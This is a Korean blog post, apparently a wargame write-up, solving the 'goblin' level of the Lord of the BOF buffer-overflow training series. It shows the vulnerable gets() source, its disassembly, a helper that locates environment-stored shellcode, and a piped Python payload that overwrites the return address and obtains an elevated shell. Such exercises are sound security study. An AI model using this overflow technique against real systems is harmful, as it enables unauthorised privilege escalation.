티스토리 뷰

System/LOB

[LOB] cobolt -> goblin

MitNy 2016. 9. 18. 20:01



#goblin 소스

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}



-stdin : 입력 버퍼


cobolt와 버퍼의 크기는 16으로 똑같다.

다른 점은 gets가 있다는 것.




# goblin 디스어셈블링

(gdb) disas main

Dump of assembler code for function main:

0x80483f8 <main>: push   %ebp

0x80483f9 <main+1>: mov    %esp,%ebp

0x80483fb <main+3>: sub    $0x10,%esp

0x80483fe <main+6>: lea    0xfffffff0(%ebp),%eax

0x8048401 <main+9>: push   %eax

0x8048402 <main+10>: call   0x804830c <gets>

0x8048407 <main+15>: add    $0x4,%esp

0x804840a <main+18>: lea    0xfffffff0(%ebp),%eax

0x804840d <main+21>: push   %eax

0x804840e <main+22>: push   $0x8048470

0x8048413 <main+27>: call   0x804833c <printf>

0x8048418 <main+32>: add    $0x8,%esp

0x804841b <main+35>: leave

0x804841c <main+36>: ret

0x804841d <main+37>: nop

0x804841e <main+38>: nop

0x804841f <main+39>: nop

End of assembler dump.



-cobolt와 똑같이 SHELLCODE를 입력해주고 env 명령어를 통해 확인.



SHELLCODE가 잘 들어가 있음을 확인.


cobolt에서 사용했던 것 처럼 환경변수에 등록된 SHELLCODE 주소값을 알아보기 위한 소스를 짜고 컴파일. 


# getenv.c


#include<stdio.h>


int main(void) {

        printf("%p\n" ,getenv("SHELLCODE"));

        return 0;

}



[cobolt@localhost cobolt]$ vi getenv.c

[cobolt@localhost cobolt]$ gcc -o getenv getenv.c

[cobolt@localhost cobolt]$ ./getenv

0xbffffecf


★gets 함수는 엔터를 치기 전 까지 버퍼를 채워넣기 때문에 이전 레벨처럼 커맨드를 해주면 원하는 쉘을 따올 수가 없다. 

전 문제와는 다르게 실행할 때 인자를 받지 않고 프로그램 내에서 입력을 받으므로 파이프 명령어 | 를 이용해 스크립트를 전달한다.


# 파이프 사용법 : (명령 1) | (명령 2)




[cobolt@localhost cobolt]$ (python -c 'print "\x90"*20+"\xcf\xfe\xff\xbf"'; cat) | ./goblin

оÿ¿

id

uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)

my-pass

euid = 503

hackers proof






'System > LOB' 카테고리의 다른 글

[LOB] gremlin -> cobolt  (0) 2016.09.18
[LOB] 네트워크 설정 + Xshell  (0) 2016.09.09
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함